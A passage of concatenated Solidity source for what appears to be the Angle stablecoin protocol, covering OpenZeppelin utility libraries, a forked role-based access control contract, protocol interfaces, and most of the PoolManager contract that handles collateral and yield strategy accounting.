replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "../interfaces/IAccessControl.sol"; /** * @dev This contract is fully forked from OpenZeppelin `AccessControlUpgradeable`. * The only difference is the removal of the ERC165 implementation as it's not * needed in Angle. * * Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, IAccessControl { function __AccessControl_init() internal initializer { __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer {} struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, msg.sender); _; } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external override { require(account == msg.sender, "71"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) internal { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, msg.sender); } } function _revokeRole(bytes32 role, address account) internal { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, msg.sender); } } uint256[49] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title IAccessControl /// @author Forked from OpenZeppelin /// @notice Interface for `AccessControl` contracts interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; interface IERC721 is IERC165 { function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IAccessControl.sol"; /// @title IFeeManagerFunctions /// @author Angle Core Team /// @dev Interface for the `FeeManager` contract interface IFeeManagerFunctions is IAccessControl { // ================================= Keepers =================================== function updateUsersSLP() external; function updateHA() external; // ================================= Governance ================================ function deployCollateral( address[] memory governorList, address guardian, address _perpetualManager ) external; function setFees( uint256[] memory xArray, uint64[] memory yArray, uint8 typeChange ) external; function setHAFees(uint64 _haFeeDeposit, uint64 _haFeeWithdraw) external; } /// @title IFeeManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings /// @dev We need these getters as they are used in other contracts of the protocol interface IFeeManager is IFeeManagerFunctions { function stableMaster() external view returns (address); function perpetualManager() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title IOracle /// @author Angle Core Team /// @notice Interface for Angle's oracle contracts reading oracle rates from both UniswapV3 and Chainlink /// from just UniswapV3 or from just Chainlink interface IOracle { function read() external view returns (uint256); function readAll() external view returns (uint256 lowerRate, uint256 upperRate); function readLower() external view returns (uint256); function readUpper() external view returns (uint256); function readQuote(uint256 baseAmount) external view returns (uint256); function readQuoteLower(uint256 baseAmount) external view returns (uint256); function inBase() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IERC721.sol"; import "./IFeeManager.sol"; import "./IOracle.sol"; import "./IAccessControl.sol"; /// @title Interface of the contract managing perpetuals /// @author Angle Core Team /// @dev Front interface, meaning only user-facing functions interface IPerpetualManagerFront is IERC721Metadata { function openPerpetual( address owner, uint256 amountBrought, uint256 amountCommitted, uint256 maxOracleRate, uint256 minNetMargin ) external returns (uint256 perpetualID); function closePerpetual( uint256 perpetualID, address to, uint256 minCashOutAmount ) external; function addToPerpetual(uint256 perpetualID, uint256 amount) external; function removeFromPerpetual( uint256 perpetualID, uint256 amount, address to ) external; function liquidatePerpetuals(uint256[] memory perpetualIDs) external; function forceClosePerpetuals(uint256[] memory perpetualIDs) external; // ========================= External View Functions ============================= function getCashOutAmount(uint256 perpetualID, uint256 rate) external view returns (uint256, uint256); function isApprovedOrOwner(address spender, uint256 perpetualID) external view returns (bool); } /// @title Interface of the contract managing perpetuals /// @author Angle Core Team /// @dev This interface does not contain user facing functions, it just has functions that are /// interacted with in other parts of the protocol interface IPerpetualManagerFunctions is IAccessControl { // ================================= Governance ================================ function deployCollateral( address[] memory governorList, address guardian, IFeeManager feeManager, IOracle oracle_ ) external; function setFeeManager(IFeeManager feeManager_) external; function setHAFees( uint64[] memory _xHAFees, uint64[] memory _yHAFees, uint8 deposit ) external; function setTargetAndLimitHAHedge(uint64 _targetHAHedge, uint64 _limitHAHedge) external; function setKeeperFeesLiquidationRatio(uint64 _keeperFeesLiquidationRatio) external; function setKeeperFeesCap(uint256 _keeperFeesLiquidationCap, uint256 _keeperFeesClosingCap) external; function setKeeperFeesClosing(uint64[] memory _xKeeperFeesClosing, uint64[] memory _yKeeperFeesClosing) external; function setLockTime(uint64 _lockTime) external; function setBoundsPerpetual(uint64 _maxLeverage, uint64 _maintenanceMargin) external; function pause() external; function unpause() external; // ==================================== Keepers ================================ function setFeeKeeper(uint64 feeDeposit, uint64 feesWithdraw) external; // =============================== StableMaster ================================ function setOracle(IOracle _oracle) external; } /// @title IPerpetualManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables interface IPerpetualManager is IPerpetualManagerFunctions { function poolManager() external view returns (address); function oracle() external view returns (address); function targetHAHedge() external view returns (uint64); function totalHedgeAmount() external view returns (uint256); } /// @title Interface of the contract managing perpetuals with claim function /// @author Angle Core Team /// @dev Front interface with rewards function, meaning only user-facing functions interface IPerpetualManagerFrontWithClaim is IPerpetualManagerFront, IPerpetualManager { function getReward(uint256 perpetualID) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IFeeManager.sol"; import "./IPerpetualManager.sol"; import "./IOracle.sol"; // Struct for the parameters associated to a strategy interacting with a collateral `PoolManager` // contract struct StrategyParams { // Timestamp of last report made by this strategy // It is also used to check if a strategy has been initialized uint256 lastReport; // Total amount the strategy is expected to have uint256 totalStrategyDebt; // The share of the total assets in the `PoolManager` contract that the `strategy` can access to. uint256 debtRatio; } /// @title IPoolManagerFunctions /// @author Angle Core Team /// @notice Interface for the collateral poolManager contracts handling each one type of collateral for /// a given stablecoin /// @dev Only the functions used in other contracts of the protocol are left here interface IPoolManagerFunctions { // ============================ Constructor ==================================== function deployCollateral( address[] memory governorList, address guardian, IPerpetualManager _perpetualManager, IFeeManager feeManager, IOracle oracle ) external; // ============================ Yield Farming ================================== function creditAvailable() external view returns (uint256); function debtOutstanding() external view returns (uint256); function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external; // ============================ Governance ===================================== function addGovernor(address _governor) external; function removeGovernor(address _governor) external; function setGuardian(address _guardian, address guardian) external; function revokeGuardian(address guardian) external; function setFeeManager(IFeeManager _feeManager) external; // ============================= Getters ======================================= function getBalance() external view returns (uint256); function getTotalAsset() external view returns (uint256); } /// @title IPoolManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings /// @dev Used in other contracts of the protocol interface IPoolManager is IPoolManagerFunctions { function stableMaster() external view returns (address); function perpetualManager() external view returns (address); function token() external view returns (address); function feeManager() external view returns (address); function totalDebt() external view returns (uint256); function strategies(address _strategy) external view returns (StrategyParams memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; /// @title ISanToken /// @author Angle Core Team /// @notice Interface for Angle's `SanToken` contract that handles sanTokens, tokens that are given to SLPs /// contributing to a collateral for a given stablecoin interface ISanToken is IERC20Upgradeable { // ================================== StableMaster ============================= function mint(address account, uint256 amount) external; function burnFrom( uint256 amount, address burner, address sender ) external; function burnSelf(uint256 amount, address burner) external; function stableMaster() external view returns (address); function poolManager() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // Normally just importing `IPoolManager` should be sufficient, but for clarity here // we prefer to import all concerned interfaces import "./IPoolManager.sol"; import "./IOracle.sol"; import "./IPerpetualManager.sol"; import "./ISanToken.sol"; // Struct to handle all the parameters to manage the fees // related to a given collateral pool (associated to the stablecoin) struct MintBurnData { // Values of the thresholds to compute the minting fees // depending on HA hedge (scaled by `BASE_PARAMS`) uint64[] xFeeMint; // Values of the fees at thresholds (scaled by `BASE_PARAMS`) uint64[] yFeeMint; // Values of the thresholds to compute the burning fees // depending on HA hedge (scaled by `BASE_PARAMS`) uint64[] xFeeBurn; // Values of the fees at thresholds (scaled by `BASE_PARAMS`) uint64[] yFeeBurn; // Max proportion of collateral from users that can be covered by HAs // It is exactly the same as the parameter of the same name in `PerpetualManager`, whenever one is updated // the other changes accordingly uint64 targetHAHedge; // Minting fees correction set by the `FeeManager` contract: they are going to be multiplied // to the value of the fees computed using the hedge curve // Scaled by `BASE_PARAMS` uint64 bonusMalusMint; // Burning fees correction set by the `FeeManager` contract: they are going to be multiplied // to the value of the fees computed using the hedge curve // Scaled by `BASE_PARAMS` uint64 bonusMalusBurn; // Parameter used to limit the number of stablecoins that can be issued using the concerned collateral uint256 capOnStableMinted; } // Struct to handle all the variables and parameters to handle SLPs in the protocol // including the fraction of interests they receive or the fees to be distributed to // them struct SLPData { // Last timestamp at which the `sanRate` has been updated for SLPs uint256 lastBlockUpdated; // Fees accumulated from previous blocks and to be distributed to SLPs uint256 lockedInterests; // Max interests used to update the `sanRate` in a single block // Should be in collateral token base uint256 maxInterestsDistributed; // Amount of fees left aside for SLPs and that will be distributed // when the protocol is collateralized back again uint256 feesAside; // Part of the fees normally going to SLPs that is left aside // before the protocol is collateralized back again (depends on collateral ratio) // Updated by keepers and scaled by `BASE_PARAMS` uint64 slippageFee; // Portion of the fees from users minting and burning // that goes to SLPs (the rest goes to surplus) uint64 feesForSLPs; // Slippage factor that's applied to SLPs exiting (depends on collateral ratio) // If `slippage = BASE_PARAMS`, SLPs can get nothing, if `slippage = 0` they get their full claim // Updated by keepers and scaled by `BASE_PARAMS` uint64 slippage; // Portion of the interests from lending // that goes to SLPs (the rest goes to surplus) uint64 interestsForSLPs; } /// @title IStableMasterFunctions /// @author Angle Core Team /// @notice Interface for the `StableMaster` contract interface IStableMasterFunctions { function deploy( address[] memory _governorList, address _guardian, address _agToken ) external; // ============================== Lending ====================================== function accumulateInterest(uint256 gain) external; function signalLoss(uint256 loss) external; // ============================== HAs ========================================== function getStocksUsers() external view returns (uint256 maxCAmountInStable); function convertToSLP(uint256 amount, address user) external; // ============================== Keepers ====================================== function getCollateralRatio() external returns (uint256); function setFeeKeeper( uint64 feeMint, uint64 feeBurn, uint64 _slippage, uint64 _slippageFee ) external; // ============================== AgToken ====================================== function updateStocksUsers(uint256 amount, address poolManager) external; // ============================= Governance ==================================== function setCore(address newCore) external; function addGovernor(address _governor) external; function removeGovernor(address _governor) external; function setGuardian(address newGuardian, address oldGuardian) external; function revokeGuardian(address oldGuardian) external; function setCapOnStableAndMaxInterests( uint256 _capOnStableMinted, uint256 _maxInterestsDistributed, IPoolManager poolManager ) external; function setIncentivesForSLPs( uint64 _feesForSLPs, uint64 _interestsForSLPs, IPoolManager poolManager ) external; function setUserFees( IPoolManager poolManager, uint64[] memory _xFee, uint64[] memory _yFee, uint8 _mint ) external; function setTargetHAHedge(uint64 _targetHAHedge) external; function pause(bytes32 agent, IPoolManager poolManager) external; function unpause(bytes32 agent, IPoolManager poolManager) external; } /// @title IStableMaster /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings interface IStableMaster is IStableMasterFunctions { function agToken() external view returns (address); function collateralMap(IPoolManager poolManager) external view returns ( IERC20 token, ISanToken sanToken, IPerpetualManager perpetualManager, IOracle oracle, uint256 stocksUsers, uint256 sanRate, uint256 collatBase, SLPData memory slpData, MintBurnData memory feeData ); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IAccessControl.sol"; /// @title IStrategy /// @author Inspired by Yearn with slight changes from Angle Core Team /// @notice Interface for yield farming strategies interface IStrategy is IAccessControl { function estimatedAPR() external view returns (uint256); function poolManager() external view returns (address); function want() external view returns (address); function isActive() external view returns (bool); function estimatedTotalAssets() external view returns (uint256); function harvestTrigger(uint256 callCost) external view returns (bool); function harvest() external; function withdraw(uint256 _amountNeeded) external returns (uint256 amountFreed, uint256 _loss); function setEmergencyExit() external; function addGuardian(address _guardian) external; function revokeGuardian(address _guardian) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./PoolManagerInternal.sol"; /// @title PoolManager /// @author Angle Core Team /// @notice The `PoolManager` contract corresponds to a collateral pool of the protocol for a stablecoin, /// it manages a single ERC20 token. It is responsible for interacting with the strategies enabling the protocol /// to get yield on its collateral /// @dev This file contains the functions that are callable by governance or by other contracts of the protocol /// @dev References to this contract are called `PoolManager` contract PoolManager is PoolManagerInternal, IPoolManagerFunctions { using SafeERC20 for IERC20; // ============================ Constructor ==================================== /// @notice Constructor of the `PoolManager` contract /// @param _token Address of the collateral /// @param _stableMaster Reference to the master stablecoin (`StableMaster`) interface function initialize(address _token, IStableMaster _stableMaster) external initializer zeroCheck(_token) zeroCheck(address(_stableMaster)) { __AccessControl_init(); // Creating the correct references stableMaster = _stableMaster; token = IERC20(_token); // Access Control // The roles in this contract can only be modified from the `StableMaster` // For the moment `StableMaster` never uses the `GOVERNOR_ROLE` _setupRole(STABLEMASTER_ROLE, address(stableMaster)); _setRoleAdmin(STABLEMASTER_ROLE, STABLEMASTER_ROLE); _setRoleAdmin(GOVERNOR_ROLE, STABLEMASTER_ROLE); _setRoleAdmin(GUARDIAN_ROLE, STABLEMASTER_ROLE); // No admin is set for `STRATEGY_ROLE`, checks are made in the appropriate functions // `addStrategy` and `revokeStrategy` } /* /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer {} */ // ========================= `StableMaster` Functions ========================== /// @notice Changes the references to contracts from this protocol with which this collateral `PoolManager` interacts /// and propagates some references to the `perpetualManager` and `feeManager` contracts /// @param governorList List of the governor addresses of protocol /// @param guardian Address of the guardian of the protocol (it can be revoked) /// @param _perpetualManager New reference to the `PerpetualManager` contract containing all the logic for HAs /// @param _feeManager Reference to the `FeeManager` contract that will serve for the `PerpetualManager` contract /// @param _oracle Reference to the `Oracle` contract that will serve for the `PerpetualManager` contract function deployCollateral( address[] memory governorList, address guardian, IPerpetualManager _perpetualManager, IFeeManager _feeManager, IOracle _oracle ) external override onlyRole(STABLEMASTER_ROLE) { // These references need to be stored to be able to propagate changes and maintain // the protocol's integrity when changes are posted from the `StableMaster` perpetualManager = _perpetualManager; feeManager = _feeManager; // Access control for (uint256 i = 0; i < governorList.length; i++) { _grantRole(GOVERNOR_ROLE, governorList[i]); _grantRole(GUARDIAN_ROLE, governorList[i]); } _grantRole(GUARDIAN_ROLE, guardian); // Propagates the changes to the other involved contracts perpetualManager.deployCollateral(governorList, guardian, _feeManager, _oracle); _feeManager.deployCollateral(governorList, guardian, address(_perpetualManager)); // `StableMaster` and `PerpetualManager` need to have approval to directly transfer some of // this contract's tokens token.safeIncreaseAllowance(address(stableMaster), type(uint256).max); token.safeIncreaseAllowance(address(_perpetualManager), type(uint256).max); } /// @notice Adds a new governor address and echoes it to other contracts /// @param _governor New governor address function addGovernor(address _governor) external override onlyRole(STABLEMASTER_ROLE) { // Access control for this contract _grantRole(GOVERNOR_ROLE, _governor); // Echoes the change to other contracts interacting with this collateral `PoolManager` // Since the other contracts interacting with this `PoolManager` do not have governor roles, // we just need it to set the new governor as guardian in these contracts _addGuardian(_governor); } /// @notice Removes a governor address and echoes it to other contracts /// @param _governor Governor address to remove function removeGovernor(address _governor) external override onlyRole(STABLEMASTER_ROLE) { // Access control for this contract _revokeRole(GOVERNOR_ROLE, _governor); _revokeGuardian(_governor); } /// @notice Changes the guardian address and echoes it to other contracts that interact with this `PoolManager` /// @param _guardian New guardian address /// @param guardian Old guardian address to revoke function setGuardian(address _guardian, address guardian) external override onlyRole(STABLEMASTER_ROLE) { _revokeGuardian(guardian); _addGuardian(_guardian); } /// @notice Revokes the guardian address and echoes the change to other contracts that interact with this `PoolManager` /// @param guardian Address of the guardian to revoke function revokeGuardian(address guardian) external override onlyRole(STABLEMASTER_ROLE) { _revokeGuardian(guardian); } /// @notice Allows to propagate the change of keeper for the collateral/stablecoin pair /// @param _feeManager New `FeeManager` contract function setFeeManager(IFeeManager _feeManager) external override onlyRole(STABLEMASTER_ROLE) { // Changing the reference in the `PerpetualManager` contract where keepers are involved feeManager = _feeManager; perpetualManager.setFeeManager(_feeManager); } // ============================= Yield Farming ================================= /// @notice Provides an estimated Annual Percentage Rate for SLPs based on lending to other protocols /// @dev This function is an estimation and is made for external use only /// @dev This does not take into account transaction fees which accrue to SLPs too /// @dev This can be manipulated by a flash loan attack (SLP deposit/ withdraw) via `_getTotalAsset` /// when entering you should make sure this hasn't be called by a flash loan and look /// at a mean of past APR. /// @dev Returned APR is in base 18 function estimatedAPR() external view returns (uint256 apr) { apr = 0; (, ISanToken sanTokenForAPR, , , , uint256 sanRate, , SLPData memory slpData, ) = stableMaster.collateralMap( IPoolManager(address(this)) ); uint256 supply = sanTokenForAPR.totalSupply(); // `sanRate` should never be equal to 0 if (supply == 0) return type(uint256).max; for (uint256 i = 0; i < strategyList.length; i++) { apr = apr + (strategies[strategyList[i]].debtRatio * IStrategy(strategyList[i]).estimatedAPR()) / BASE_PARAMS; } apr = (apr * (BASE_PARAMS - interestsForSurplus) * slpData.interestsForSLPs * _getTotalAsset()) / sanRate / supply; } /// @notice Tells a strategy how much it can borrow from this `PoolManager` /// @return Amount of token a strategy has access to as a credit line /// @dev Since this function is a view function, there is no need to have an access control logic /// even though it will just be relevant for a strategy /// @dev Manipulating `_getTotalAsset` with a flashloan will only /// result in tokens being transferred at the cost of the caller function creditAvailable() external view override returns (uint256) { StrategyParams storage params = strategies[msg.sender]; uint256 target = (_getTotalAsset() * params.debtRatio) / BASE_PARAMS; if (target < params.totalStrategyDebt) return 0; return Math.min(target - params.totalStrategyDebt, _getBalance()); } /// @notice Tells a strategy how much it owes to this `PoolManager` /// @return Amount of token a strategy has to reimburse /// @dev Manipulating `_getTotalAsset` with a flashloan will only /// result in tokens being transferred at the cost of the caller function debtOutstanding() external view override returns (uint256) { StrategyParams storage params = strategies[msg.sender]; uint256 target = (_getTotalAsset() * params.debtRatio) / BASE_PARAMS; if (target > params.totalStrategyDebt) return 0; return (params.totalStrategyDebt - target); } /// @notice Reports the gains or loss made by a strategy /// @param gain Amount strategy has realized as a gain on its investment since its /// last report, and is free to be given back to `PoolManager` as earnings /// @param loss Amount strategy has realized as a loss on its investment since its /// last report, and should be accounted for on the `PoolManager`'s balance sheet. /// The loss will reduce the `debtRatio`. The next time the strategy will harvest, /// it will pay back the debt in an attempt to adjust to the new debt limit. /// @param debtPayment Amount strategy has made available to cover outstanding debt /// @dev This is the main contact point where the strategy interacts with the `PoolManager` /// @dev The strategy reports back what it has free, then the `PoolManager` contract "decides" /// whether to take some back or give it more. Note that the most it can /// take is `gain + _debtPayment`, and the most it can give is all of the /// remaining reserves. Anything outside of those bounds is abnormal behavior. function report( uint256 gain, uint256 loss, uint256 debtPayment ) external override onlyRole(STRATEGY_ROLE) { require(token.balanceOf(msg.sender) >= gain + debtPayment, "72"); StrategyParams storage params = strategies[msg.sender]; // Updating parameters in the `perpetualManager` // This needs to be done now because it has implications in `_getTotalAsset()` params.totalStrategyDebt = params.totalStrategyDebt + gain - loss; totalDebt = totalDebt + gain - loss; params.lastReport = block.timestamp; // Warning: `_getTotalAsset` could be manipulated by flashloan attacks. // It may allow external users to transfer funds into strategy or remove funds // from the strategy. Yet, as it does not impact the profit or loss and as attackers // have no interest in making such txs to have a direct profit, we let it as is. // The only issue is if the strategy is compromised; in this case governance // should revoke the strategy uint256 target = ((_getTotalAsset()) * params.debtRatio) / BASE_PARAMS; if (target > params.totalStrategyDebt) { // If the strategy has some credit left, tokens can be transferred to this strategy uint256 available = Math.min(target - params.totalStrategyDebt, _getBalance()); params.totalStrategyDebt = params.totalStrategyDebt + available; totalDebt = totalDebt + available; if (available > 0) { token.safeTransfer(msg.sender, available); } } else { uint256 available = Math.min(params.totalStrategyDebt - target, debtPayment + gain); params.totalStrategyDebt = params.totalStrategyDebt - available; totalDebt = totalDebt - available; if (available > 0) { token.safeTransferFrom(msg.sender, address(this), available); } } emit StrategyReported(msg.sender, gain, loss, debtPayment, params.totalStrategyDebt); // Handle gains before losses if (gain > 0) { 